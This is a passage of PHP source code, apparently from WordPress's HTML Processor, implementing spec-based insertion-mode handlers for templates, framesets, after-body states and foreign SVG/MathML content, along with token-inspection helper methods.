				if ( ! $this->state->stack_of_open_elements->has_element_in_table_scope( $token_name ) ) {
					return $this->step();
				}
				$this->state->stack_of_open_elements->pop_until( 'SELECT' );
				$this->reset_insertion_mode_appropriately();
				return $this->step( self::REPROCESS_CURRENT_NODE );
		}

		/*
		 * > Anything else
		 */
		return $this->step_in_select();
	}

	/**
	 * Parses next element in the 'in template' insertion mode.
	 *
	 * This internal function performs the 'in template' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-intemplate
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_template(): bool {
		$token_name = $this->get_token_name();
		$token_type = $this->get_token_type();
		$is_closer  = $this->is_tag_closer();
		$op_sigil   = '#tag' === $token_type ? ( $is_closer ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$token_name}";

		switch ( $op ) {
			/*
			 * > A character token
			 * > A comment token
			 * > A DOCTYPE token
			 */
			case '#text':
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
			case 'html':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is one of: "base", "basefont", "bgsound", "link",
			 * > "meta", "noframes", "script", "style", "template", "title"
			 * > An end tag whose tag name is "template"
			 */
			case '+BASE':
			case '+BASEFONT':
			case '+BGSOUND':
			case '+LINK':
			case '+META':
			case '+NOFRAMES':
			case '+SCRIPT':
			case '+STYLE':
			case '+TEMPLATE':
			case '+TITLE':
			case '-TEMPLATE':
				return $this->step_in_head();

			/*
			 * > A start tag whose tag name is one of: "caption", "colgroup", "tbody", "tfoot", "thead"
			 */
			case '+CAPTION':
			case '+COLGROUP':
			case '+TBODY':
			case '+TFOOT':
			case '+THEAD':
				array_pop( $this->state->stack_of_template_insertion_modes );
				$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
				$this->state->insertion_mode                      = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is "col"
			 */
			case '+COL':
				array_pop( $this->state->stack_of_template_insertion_modes );
				$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP;
				$this->state->insertion_mode                      = WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is "tr"
			 */
			case '+TR':
				array_pop( $this->state->stack_of_template_insertion_modes );
				$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				$this->state->insertion_mode                      = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
				return $this->step( self::REPROCESS_CURRENT_NODE );

			/*
			 * > A start tag whose tag name is one of: "td", "th"
			 */
			case '+TD':
			case '+TH':
				array_pop( $this->state->stack_of_template_insertion_modes );
				$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
				$this->state->insertion_mode                      = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
				return $this->step( self::REPROCESS_CURRENT_NODE );
		}

		/*
		 * > Any other start tag
		 */
		if ( ! $is_closer ) {
			array_pop( $this->state->stack_of_template_insertion_modes );
			$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
			$this->state->insertion_mode                      = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
			return $this->step( self::REPROCESS_CURRENT_NODE );
		}

		/*
		 * > Any other end tag
		 */
		if ( $is_closer ) {
			// Parse error: ignore the token.
			return $this->step();
		}

		/*
		 * > An end-of-file token
		 */
		if ( ! $this->state->stack_of_open_elements->contains( 'TEMPLATE' ) ) {
			// Stop parsing.
			return false;
		}

		// @todo Indicate a parse error once it's possible.
		$this->state->stack_of_open_elements->pop_until( 'TEMPLATE' );
		$this->state->active_formatting_elements->clear_up_to_last_marker();
		array_pop( $this->state->stack_of_template_insertion_modes );
		$this->reset_insertion_mode_appropriately();
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'after body' insertion mode.
	 *
	 * This internal function performs the 'after body' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-afterbody
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_after_body(): bool {
		$tag_name   = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( $this->is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION, U+000A LINE FEED (LF),
			 * >   U+000C FORM FEED (FF), U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 *
			 * > Process the token using the rules for the "in body" insertion mode.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step_in_body();
				}
				goto after_body_anything_else;
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->bail( 'Content outside of BODY is unsupported.' );
				break;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > An end tag whose tag name is "html"
			 *
			 * > If the parser was created as part of the HTML fragment parsing algorithm,
			 * > this is a parse error; ignore the token. (fragment case)
			 * >
			 * > Otherwise, switch the insertion mode to "after after body".
			 */
			case '-HTML':
				if ( isset( $this->context_node ) ) {
					return $this->step();
				}

				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_AFTER_BODY;
				/*
				 * The HTML element is not removed from the stack of open elements.
				 * Only internal state has changed, this does not qualify as a "step"
				 * in terms of advancing through the document to another token.
				 * Nothing has been pushed or popped.
				 * Proceed to parse the next item.
				 */
				return $this->step();
		}

		/*
		 * > Parse error. Switch the insertion mode to "in body" and reprocess the token.
		 */
		after_body_anything_else:
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'in frameset' insertion mode.
	 *
	 * This internal function performs the 'in frameset' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-inframeset
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_frameset(): bool {
		$tag_name   = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( $this->is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION, U+000A LINE FEED (LF),
			 * >   U+000C FORM FEED (FF), U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 * >
			 * > Insert the character.
			 *
			 * This algorithm effectively strips non-whitespace characters from text and inserts
			 * them under HTML. This is not supported at this time.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step_in_body();
				}
				$this->bail( 'Non-whitespace characters cannot be handled in frameset.' );
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A start tag whose tag name is "frameset"
			 */
			case '+FRAMESET':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > An end tag whose tag name is "frameset"
			 */
			case '-FRAMESET':
				/*
				 * > If the current node is the root html element, then this is a parse error;
				 * > ignore the token. (fragment case)
				 */
				if ( $this->state->stack_of_open_elements->current_node_is( 'HTML' ) ) {
					return $this->step();
				}

				/*
				 * > Otherwise, pop the current node from the stack of open elements.
				 */
				$this->state->stack_of_open_elements->pop();

				/*
				 * > If the parser was not created as part of the HTML fragment parsing algorithm
				 * > (fragment case), and the current node is no longer a frameset element, then
				 * > switch the insertion mode to "after frameset".
				 */
				if ( ! isset( $this->context_node ) && ! $this->state->stack_of_open_elements->current_node_is( 'FRAMESET' ) ) {
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_FRAMESET;
				}

				return true;

			/*
			 * > A start tag whose tag name is "frame"
			 *
			 * > Insert an HTML element for the token. Immediately pop the
			 * > current node off the stack of open elements.
			 * >
			 * > Acknowledge the token's self-closing flag, if it is set.
			 */
			case '+FRAME':
				$this->insert_html_element( $this->state->current_token );
				$this->state->stack_of_open_elements->pop();
				return true;

			/*
			 * > A start tag whose tag name is "noframes"
			 */
			case '+NOFRAMES':
				return $this->step_in_head();
		}

		// Parse error: ignore the token.
		return $this->step();
	}

	/**
	 * Parses next element in the 'after frameset' insertion mode.
	 *
	 * This internal function performs the 'after frameset' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-afterframeset
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_after_frameset(): bool {
		$tag_name   = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( $this->is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION, U+000A LINE FEED (LF),
			 * >   U+000C FORM FEED (FF), U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 * >
			 * > Insert the character.
			 *
			 * This algorithm effectively strips non-whitespace characters from text and inserts
			 * them under HTML. This is not supported at this time.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step_in_body();
				}
				$this->bail( 'Non-whitespace characters cannot be handled in after frameset' );
				break;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_html_element( $this->state->current_token );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "html"
			 */
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > An end tag whose tag name is "html"
			 */
			case '-HTML':
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_AFTER_AFTER_FRAMESET;
				/*
				 * The HTML element is not removed from the stack of open elements.
				 * Only internal state has changed, this does not qualify as a "step"
				 * in terms of advancing through the document to another token.
				 * Nothing has been pushed or popped.
				 * Proceed to parse the next item.
				 */
				return $this->step();

			/*
			 * > A start tag whose tag name is "noframes"
			 */
			case '+NOFRAMES':
				return $this->step_in_head();
		}

		// Parse error: ignore the token.
		return $this->step();
	}

	/**
	 * Parses next element in the 'after after body' insertion mode.
	 *
	 * This internal function performs the 'after after body' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#the-after-after-body-insertion-mode
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_after_after_body(): bool {
		$tag_name   = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( $this->is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->bail( 'Content outside of HTML is unsupported.' );
				break;

			/*
			 * > A DOCTYPE token
			 * > A start tag whose tag name is "html"
			 *
			 * > Process the token using the rules for the "in body" insertion mode.
			 */
			case 'html':
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION, U+000A LINE FEED (LF),
			 * >   U+000C FORM FEED (FF), U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 * >
			 * > Process the token using the rules for the "in body" insertion mode.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step_in_body();
				}
				goto after_after_body_anything_else;
				break;
		}

		/*
		 * > Parse error. Switch the insertion mode to "in body" and reprocess the token.
		 */
		after_after_body_anything_else:
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'after after frameset' insertion mode.
	 *
	 * This internal function performs the 'after after frameset' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#the-after-after-frameset-insertion-mode
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_after_after_frameset(): bool {
		$tag_name   = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( $this->is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->bail( 'Content outside of HTML is unsupported.' );
				break;

			/*
			 * > A DOCTYPE token
			 * > A start tag whose tag name is "html"
			 *
			 * > Process the token using the rules for the "in body" insertion mode.
			 */
			case 'html':
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION, U+000A LINE FEED (LF),
			 * >   U+000C FORM FEED (FF), U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 * >
			 * > Process the token using the rules for the "in body" insertion mode.
			 *
			 * This algorithm effectively strips non-whitespace characters from text and inserts
			 * them under HTML. This is not supported at this time.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step_in_body();
				}
				$this->bail( 'Non-whitespace characters cannot be handled in after after frameset.' );
				break;

			/*
			 * > A start tag whose tag name is "noframes"
			 */
			case '+NOFRAMES':
				return $this->step_in_head();
		}

		// Parse error: ignore the token.
		return $this->step();
	}

	/**
	 * Parses next element in the 'in foreign content' insertion mode.
	 *
	 * This internal function performs the 'in foreign content' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-inforeign
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_foreign_content(): bool {
		$tag_name   = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( $this->is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$tag_name}";

		/*
		 * > A start tag whose name is "font", if the token has any attributes named "color", "face", or "size"
		 *
		 * This section drawn out above the switch to more easily incorporate
		 * the additional rules based on the presence of the attributes.
		 */
		if (
			'+FONT' === $op &&
			(
				null !== $this->get_attribute( 'color' ) ||
				null !== $this->get_attribute( 'face' ) ||
				null !== $this->get_attribute( 'size' )
			)
		) {
			$op = '+FONT with attributes';
		}

		switch ( $op ) {
			case '#text':
				/*
				 * > A character token that is U+0000 NULL
				 *
				 * This is handled by `get_modifiable_text()`.
				 */

				/*
				 * Whitespace-only text does not affect the frameset-ok flag.
				 * It is probably inter-element whitespace, but it may also
				 * contain character references which decode only to whitespace.
				 */
				if ( parent::TEXT_IS_GENERIC === $this->text_node_classification ) {
					$this->state->frameset_ok = false;
				}

				$this->insert_foreign_element( $this->state->current_token, false );
				return true;

			/*
			 * CDATA sections are alternate wrappers for text content and therefore
			 * ought to follow the same rules as text nodes.
			 */
			case '#cdata-section':
				/*
				 * NULL bytes and whitespace do not change the frameset-ok flag.
				 */
				$current_token        = $this->bookmarks[ $this->state->current_token->bookmark_name ];
				$cdata_content_start  = $current_token->start + 9;
				$cdata_content_length = $current_token->length - 12;
				if ( strspn( $this->html, "\0 \t\n\f\r", $cdata_content_start, $cdata_content_length ) !== $cdata_content_length ) {
					$this->state->frameset_ok = false;
				}

				$this->insert_foreign_element( $this->state->current_token, false );
				return true;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_foreign_element( $this->state->current_token, false );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "b", "big", "blockquote", "body", "br", "center",
			 * > "code", "dd", "div", "dl", "dt", "em", "embed", "h1", "h2", "h3", "h4", "h5",
			 * > "h6", "head", "hr", "i", "img", "li", "listing", "menu", "meta", "nobr", "ol",
			 * > "p", "pre", "ruby", "s", "small", "span", "strong", "strike", "sub", "sup",
			 * > "table", "tt", "u", "ul", "var"
			 *
			 * > A start tag whose name is "font", if the token has any attributes named "color", "face", or "size"
			 *
			 * > An end tag whose tag name is "br", "p"
			 *
			 * Closing BR tags are always reported by the Tag Processor as opening tags.
			 */
			case '+B':
			case '+BIG':
			case '+BLOCKQUOTE':
			case '+BODY':
			case '+BR':
			case '+CENTER':
			case '+CODE':
			case '+DD':
			case '+DIV':
			case '+DL':
			case '+DT':
			case '+EM':
			case '+EMBED':
			case '+H1':
			case '+H2':
			case '+H3':
			case '+H4':
			case '+H5':
			case '+H6':
			case '+HEAD':
			case '+HR':
			case '+I':
			case '+IMG':
			case '+LI':
			case '+LISTING':
			case '+MENU':
			case '+META':
			case '+NOBR':
			case '+OL':
			case '+P':
			case '+PRE':
			case '+RUBY':
			case '+S':
			case '+SMALL':
			case '+SPAN':
			case '+STRONG':
			case '+STRIKE':
			case '+SUB':
			case '+SUP':
			case '+TABLE':
			case '+TT':
			case '+U':
			case '+UL':
			case '+VAR':
			case '+FONT with attributes':
			case '-BR':
			case '-P':
				// @todo Indicate a parse error once it's possible.
				foreach ( $this->state->stack_of_open_elements->walk_up() as $current_node ) {
					if (
						'math' === $current_node->integration_node_type ||
						'html' === $current_node->integration_node_type ||
						'html' === $current_node->namespace
					) {
						break;
					}

					$this->state->stack_of_open_elements->pop();
				}
				goto in_foreign_content_process_in_current_insertion_mode;
		}

		/*
		 * > Any other start tag
		 */
		if ( ! $this->is_tag_closer() ) {
			$this->insert_foreign_element( $this->state->current_token, false );

			/*
			 * > If the token has its self-closing flag set, then run
			 * > the appropriate steps from the following list:
			 * >
			 * >   ↪ the token's tag name is "script", and the new current node is in the SVG namespace
			 * >         Acknowledge the token's self-closing flag, and then act as
			 * >         described in the steps for a "script" end tag below.
			 * >
			 * >   ↪ Otherwise
			 * >         Pop the current node off the stack of open elements and
			 * >         acknowledge the token's self-closing flag.
			 *
			 * Since the rules for SCRIPT below indicate to pop the element off of the stack of
			 * open elements, which is the same for the Otherwise condition, there's no need to
			 * separate these checks. The difference comes when a parser operates with the scripting
			 * flag enabled, and executes the script, which this parser does not support.
			 */
			if ( $this->state->current_token->has_self_closing_flag ) {
				$this->state->stack_of_open_elements->pop();
			}
			return true;
		}

		/*
		 * > An end tag whose name is "script", if the current node is an SVG script element.
		 */
		if ( $this->is_tag_closer() && 'SCRIPT' === $this->state->current_token->node_name && 'svg' === $this->state->current_token->namespace ) {
			$this->state->stack_of_open_elements->pop();
			return true;
		}

		/*
		 * > Any other end tag
		 */
		if ( $this->is_tag_closer() ) {
			$node = $this->state->stack_of_open_elements->current_node();
			if ( $tag_name !== $node->node_name ) {
				// @todo Indicate a parse error once it's possible.
			}
			in_foreign_content_end_tag_loop:
			if ( $node === $this->state->stack_of_open_elements->at( 1 ) ) {
				return true;
			}

			/*
			 * > If node's tag name, converted to ASCII lowercase, is the same as the tag name
			 * > of the token, pop elements from the stack of open elements until node has
			 * > been popped from the stack, and then return.
			 */
			if ( 0 === strcasecmp( $node->node_name, $tag_name ) ) {
				foreach ( $this->state->stack_of_open_elements->walk_up() as $item ) {
					$this->state->stack_of_open_elements->pop();
					if ( $node === $item ) {
						return true;
					}
				}
			}

			foreach ( $this->state->stack_of_open_elements->walk_up( $node ) as $item ) {
				$node = $item;
				break;
			}

			if ( 'html' !== $node->namespace ) {
				goto in_foreign_content_end_tag_loop;
			}

			in_foreign_content_process_in_current_insertion_mode:
			switch ( $this->state->insertion_mode ) {
				case WP_HTML_Processor_State::INSERTION_MODE_INITIAL:
					return $this->step_initial();

				case WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HTML:
					return $this->step_before_html();

				case WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HEAD:
					return $this->step_before_head();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD:
					return $this->step_in_head();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD_NOSCRIPT:
					return $this->step_in_head_noscript();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_HEAD:
					return $this->step_after_head();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_BODY:
					return $this->step_in_body();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE:
					return $this->step_in_table();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_TEXT:
					return $this->step_in_table_text();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_CAPTION:
					return $this->step_in_caption();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP:
					return $this->step_in_column_group();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY:
					return $this->step_in_table_body();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_ROW:
					return $this->step_in_row();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_CELL:
					return $this->step_in_cell();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT:
					return $this->step_in_select();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT_IN_TABLE:
					return $this->step_in_select_in_table();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TEMPLATE:
					return $this->step_in_template();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_BODY:
					return $this->step_after_body();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_FRAMESET:
					return $this->step_in_frameset();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_FRAMESET:
					return $this->step_after_frameset();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_AFTER_BODY:
					return $this->step_after_after_body();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_AFTER_FRAMESET:
					return $this->step_after_after_frameset();

				// This should be unreachable but PHP doesn't have total type checking on switch.
				default:
					$this->bail( "Unaware of the requested parsing mode: '{$this->state->insertion_mode}'." );
			}
		}

		$this->bail( 'Should not have been able to reach end of IN FOREIGN CONTENT processing. Check HTML API code.' );
		// This unnecessary return prevents tools from inaccurately reporting type errors.
		return false;
	}

	/*
	 * Internal helpers
	 */

	/**
	 * Creates a new bookmark for the currently-matched token and returns the generated name.
	 *
	 * @since 6.4.0
	 * @since 6.5.0 Renamed from bookmark_tag() to bookmark_token().
	 *
	 * @throws Exception When unable to allocate requested bookmark.
	 *
	 * @return string|false Name of created bookmark, or false if unable to create.
	 */
	private function bookmark_token() {
		if ( ! parent::set_bookmark( ++$this->bookmark_counter ) ) {
			$this->last_error = self::ERROR_EXCEEDED_MAX_BOOKMARKS;
			throw new Exception( 'could not allocate bookmark' );
		}

		return "{$this->bookmark_counter}";
	}

	/*
	 * HTML semantic overrides for Tag Processor
	 */

	/**
	 * Indicates the namespace of the current token, or "html" if there is none.
	 *
	 * @return string One of "html", "math", or "svg".
	 */
	public function get_namespace(): string {
		if ( ! isset( $this->current_element ) ) {
			return parent::get_namespace();
		}

		return $this->current_element->token->namespace;
	}

	/**
	 * Returns the uppercase name of the matched tag.
	 *
	 * The semantic rules for HTML specify that certain tags be reprocessed
	 * with a different tag name. Because of this, the tag name presented
	 * by the HTML Processor may differ from the one reported by the HTML
	 * Tag Processor, which doesn't apply these semantic rules.
	 *
	 * Example:
	 *
	 *     $processor = new WP_HTML_Tag_Processor( '<div class="test">Test</div>' );
	 *     $processor->next_tag() === true;
	 *     $processor->get_tag() === 'DIV';
	 *
	 *     $processor->next_tag() === false;
	 *     $processor->get_tag() === null;
	 *
	 * @since 6.4.0
	 *
	 * @return string|null Name of currently matched tag in input HTML, or `null` if none found.
	 */
	public function get_tag(): ?string {
		if ( null !== $this->last_error ) {
			return null;
		}

		if ( $this->is_virtual() ) {
			return $this->current_element->token->node_name;
		}

		$tag_name = parent::get_tag();

		/*
		 * > A start tag whose tag name is "image"
		 * > Change the token's tag name to "img" and reprocess it. (Don't ask.)
		 */
		return ( 'IMAGE' === $tag_name && 'html' === $this->get_namespace() )
			? 'IMG'
			: $tag_name;
	}

	/**
	 * Indicates if the currently matched tag contains the self-closing flag.
	 *
	 * No HTML elements ought to have the self-closing flag and for those, the self-closing
	 * flag will be ignored. For void elements this is benign because they "self close"
	 * automatically. For non-void HTML elements though problems will appear if someone
	 * intends to use a self-closing element in place of that element with an empty body.
	 * For HTML foreign elements and custom elements the self-closing flag determines if
	 * they self-close or not.
	 *
	 * This function does not determine if a tag is self-closing,
	 * but only if the self-closing flag is present in the syntax.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @return bool Whether the currently matched tag contains the self-closing flag.
	 */
	public function has_self_closing_flag(): bool {
		return $this->is_virtual() ? false : parent::has_self_closing_flag();
	}

	/**
	 * Returns the node name represented by the token.
	 *
	 * This matches the DOM API value `nodeName`. Some values
	 * are static, such as `#text` for a text node, while others
	 * are dynamically generated from the token itself.
	 *
	 * Dynamic names:
	 *  - Uppercase tag name for tag matches.
	 *  - `html` for DOCTYPE declarations.
	 *
	 * Note that if the Tag Processor is not matched on a token
	 * then this function will return `null`, either because it
	 * hasn't yet found a token or because it reached the end
	 * of the document without matching a token.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @return string|null Name of the matched token.
	 */
	public function get_token_name(): ?string {
		return $this->is_virtual()
			? $this->current_element->token->node_name
			: parent::get_token_name();
	}

	/**
	 * Indicates the kind of matched token, if any.
	 *
	 * This differs from `get_token_name()` in that it always
	 * returns a static string indicating the type, whereas
	 * `get_token_name()` may return values derived from the
	 * token itself, such as a tag name or processing
	 * instruction tag.
	 *
	 * Possible values:
	 *  - `#tag` when matched on a tag.
	 *  - `#text` when matched on a text node.
	 *  - `#cdata-section` when matched on a CDATA node.
	 *  - `#comment` when matched on a comment.
	 *  - `#doctype` when matched on a DOCTYPE declaration.
	 *  - `#presumptuous-tag` when matched on an empty tag closer.
	 *  - `#funky-comment` when matched on a funky comment.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @return string|null What kind of token is matched, or null.
	 */
	public function get_token_type(): ?string {
		if ( $this->is_virtual() ) {
			/*
			 * This logic comes from the Tag Processor.
			 *
			 * @todo It would be ideal not to repeat this here, but it's not clearly
			 *       better to allow passing a token name to `get_token_type()`.
			 */
			$node_name     = $this->current_element->token->node_name;
			$starting_char = $node_name[0];
			if ( 'A' <= $starting_char && 'Z' >= $starting_char ) {
				return '#tag';
			}

			if ( 'html' === $node_name ) {
				return '#doctype';
			}

			return $node_name;
		}

		return parent::get_token_type();
	}

	/**
	 * Returns the value of a requested attribute from a matched tag opener if that attribute exists.
	 *
	 * Example:
	 *
	 *     $p = WP_HTML_Processor::create_fragment( '<div enabled class="test" data-test-id="14">Test</div>' );
	 *     $p->next_token() === true;
	 *     $p->get_attribute( 'data-test-id' ) === '14';
	 *     $p->get_attribute( 'enabled' ) === true;
	 *     $p->get_attribute( 'aria-label' ) === null;
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute( 'class' ) === null;
	 *
	 * @since 6.6.0 Subclassed for HTML Processor.
	 *
	 * @param string $name Name of attribute whose value is requested.
	 * @return string|true|null Value of attribute or `null` if not available. Boolean attributes return `true`.
	 */
	public function get_attribute( $name ) {
		return $this->is_virtual() ? null : parent::get_attribute( $name );
	}

	/**
	 * Updates or creates a new attribute on the currently matched tag with the passed value.
	 *
	 * This function handles all necessary HTML encoding. Provide normal, unescaped string values.
	 * The HTML API will encode the strings appropriately so that the browser will interpret them
	 * as the intended value.
	 *
	 * Example:
	 *
	 *     // Renders “Eggs & Milk” in a browser, encoded as `<abbr title="Eggs &amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs & Milk' );
	 *
	 *     // Renders “Eggs &amp; Milk” in a browser, encoded as `<abbr title="Eggs &amp;amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs &amp; Milk' );
	 *
	 *     // Renders `true` as `<abbr title>`.
